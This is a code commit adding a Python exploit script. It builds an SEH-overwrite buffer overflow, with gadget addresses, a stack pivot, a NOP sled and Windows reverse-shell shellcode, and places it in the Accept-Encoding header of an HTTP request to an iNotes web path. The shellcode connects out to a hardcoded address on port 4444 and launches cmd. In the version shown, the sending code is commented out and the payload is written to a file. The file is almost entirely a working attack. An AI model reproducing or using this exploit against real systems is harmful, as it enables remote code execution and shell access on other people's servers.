Add xp.py

xp.py

@@ -0,0 +1,77 @@
+from pwn import *
+import struct
+import sys
+
+def pack(x):
+    return struct.pack('<Q',x)
+
+
+context.arch = 'i386'
+offset = 148
+# seh chain to a stack pivot and then we run shellcode directly
+def clap(host, port, yourip, yourport):
+    # calculate sp
+    spivot1 = b'\x81\xC4\x33\x33\xC3\x6C\x81\xEC\x8C\x2E\xC3\x6C\x8B\x24\x24\x81\xEC\x33\x33\xC3\x6C\x81\xC4\x9F\x2E\xC3\x6C\xFF\xE4'        
+    stager = spivot1
+    
+    suicide = p32(0xffffffff) # exception 1
+    sehagent = p32(0x18228310) # seh duper
+    suicide2 = p32(0x01010101) # exc 2
+    spjump = p32(0x7c345c30) # jmp sp to sc
+    junk = p32(0x18227d82) # anything readable here is fine
+    # seh offsets shit
+    niceone = b'A'*offset
+    print("+ building payload")
+   #  niceone = niceone[:52] + suicide + niceone[56:]
+    niceone = niceone[:68] + sehagent + niceone[72:]
+    print("+ first seh attached")
+    niceone = niceone[:80] + suicide2 + niceone[84:]
+    print("+ exception jmp")
+    niceone = niceone[:104] + junk + niceone[108:]
+    niceone = niceone[:112] + spjump + niceone[116:]
+    niceone = niceone[:116] + sehagent + niceone[120:]
+    
+    niceone += stager
+    print("+ attaching nopsled")
+    niceone += b'\x90' * (1000 - 400)
+    niceone += b"\x30\x5c\x34\x7c" # stack pivot 
+    shellcode = b"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xff\xd5"
+    print(f" shellcode size is {len(shellcode)}")
+    print("+ assembled shellcode")
+
+    # if (len(shellcode) > offset):
+        # print("shellcode is too large")
+        # import sys; sys.exit(1)
+    niceone += shellcode
+    print("+ len is", len(niceone))
+    
+    currsize = len(niceone)-offset
+    print(f"+ curr: {currsize}")
+
+
+    with open("payload.bin", "wb") as f:
+        f.write(niceone)
+    
+    request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n'
+    request += f'Host: {host}\r\n'.encode()
+    request += b'Accept-Encoding: ' + niceone + b'\r\n'
+    request += b'Connection: Close\r\n'
+    request += b'Cache-Control: no-cache\r\n\r\n'
+    print("+ sending")
+    #for i in range(10):
+    #    conn = remote(host.format(i), port)
+    #    conn.send(request)
+    #    conn.close()
+    print("+ check your listener")
+    
+if __name__ == '__main__':
+    if len(sys.argv) < 5:
+        print(f"xp <target> <target port> <ip> 4444")
+        sys.exit(1)
+    
+    host = sys.argv[1]
+    port = int(sys.argv[2])
+    yourip = sys.argv[3]
+    # yourport = int(sys.argv[4])
+    yourport = 4444    
+    clap(host, port, yourip, yourport)